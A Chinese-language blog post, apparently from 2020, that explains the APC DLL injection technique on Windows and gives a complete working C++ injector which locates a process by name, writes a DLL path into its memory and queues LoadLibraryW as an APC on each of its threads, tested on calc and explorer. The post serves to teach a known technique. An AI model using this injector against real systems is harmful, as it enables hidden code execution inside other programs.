APC dll注入

  1. 原理和要求
  2. 实验

原理和要求

APC注入原理:
APC注入的原理是利用线程被唤醒时APC中的主从函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入。

APC注入要求:

1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
那么我们可以注入APC,注意下条件,也不是所有都能注入的.
注入方法的原理:
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

实验

#include "stdafx.h"
#include<Windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
void GetErr() {
        printf("Error:%d", GetLastError());
        printf("\n");
        exit(1);
}
int getprocess(WCHAR *processname) {
        HANDLE  data = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (data == INVALID_HANDLE_VALUE) {
               printf("[-] CreateToolhelp32Snapshot failure");
               GetErr();
        }
        else {
               PROCESSENTRY32W pe = { sizeof(pe) };
               printf("[*] CreateToolhelp32Snapshot Sucess\n");
               for (bool dd = Process32FirstW(data, &pe);dd;dd = Process32NextW(data,  &pe)) {
                       WCHAR *pname = pe.szExeFile;
                       int pid = pe.th32ProcessID;
                       if (wcscmp(processname, pname) == 0) {
                              WCHAR info[650] =TEXT("name:");
                              lstrcatW(info, pname);
                              lstrcatW(info, TEXT(" "));
                              wprintf(info);
                              wprintf(TEXT("pid:"));
                              printf("%d\n", pid);
                              return pid;
                       }
               }
        }
        return 0;
}
BOOL apcinject(int pid,WCHAR *dll) {
        HANDLE openprocess = OpenProcess(PROCESS_ALL_ACCESS,0 ,pid);
        if (openprocess == 0) {
               GetErr();
        }
        else {
               printf("[*] OpenProcess Sucess\n");
        }
        LPVOID vt = VirtualAllocEx(openprocess, 0, 1024, MEM_COMMIT,  PAGE_EXECUTE_READWRITE);
        if (vt == 0) {
               printf("[-] VirtualAllocEx faliure\n");
               GetErr();
        }
        else {
               printf("[*] VirtualAllocEx Sucess\n");
        }
        SIZE_T dwRet;
        bool write = WriteProcessMemory(openprocess, vt, dll, MAX_PATH, &dwRet);
        if (write == 0) {
               printf("[-] WriteProcessMemory faiure");
               GetErr();
        }
        else {
               printf("[*] WriteProcessMemory Sucess\n");
        }
        THREADENTRY32 te = { sizeof(te) };
        HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (handleSnap == INVALID_HANDLE_VALUE)
        {
               printf("[-] CreateToolhelp32Snapshot faiure");
               GetErr();
        }else {
               printf("[*] CreateToolhelp32Snapshot Sucess\n");
               /*
               if (Thread32First(handleSnap, &te))
               {
                       do {
                              if (te.th32OwnerProcessID == pid)
                              {
                                      printf("%d\n", te.th32OwnerProcessID);
                              }
                       } while (Thread32Next(handleSnap, &te));
               }
                       */
               for (bool td = Thread32First(handleSnap, &te);td;td =  Thread32Next(handleSnap, &te)) {
                       if (te.th32OwnerProcessID == pid) {
                              int tid = te.th32ThreadID;
                              HANDLE openthread = OpenThread(THREAD_ALL_ACCESS, 0, tid);
                              if (openthread == 0) {
                                      printf("[-] OpenThread faiure");
                                      GetErr();
                              }
                              else {
                                      printf("[*] OpenThread Sucess threadid:%d\n",tid);
                                      DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW,  openthread, (ULONG_PTR)vt);
                                      if (dwRet == 0) {
                                             printf("[-] QueueUserAPC failure\n");
                                             GetErr();
                                      }
                                      else {
                                             printf("[+] APC Dll inject Sucess\n");
                                      }
                              }
                       }

               }
        }
        return true;
}
int main()
{
        WCHAR *name = TEXT("calc.exe");
        WCHAR *dll = TEXT("C:\\Users\\JiuShi\\Desktop\\testdll.dll");
        int pid = getprocess(name);
        if (pid != 0) {
               apcinject(pid, dll);
        }
        system("pause");
    return 0;
}

试了一下,explorer、calc都能注


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:APC dll注入

本文作者:九世

发布时间:2020-09-24, 12:27:53

最后更新:2020-09-24, 12:32:13

原始链接:http://jiushill.github.io/posts/c9faf9c0.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录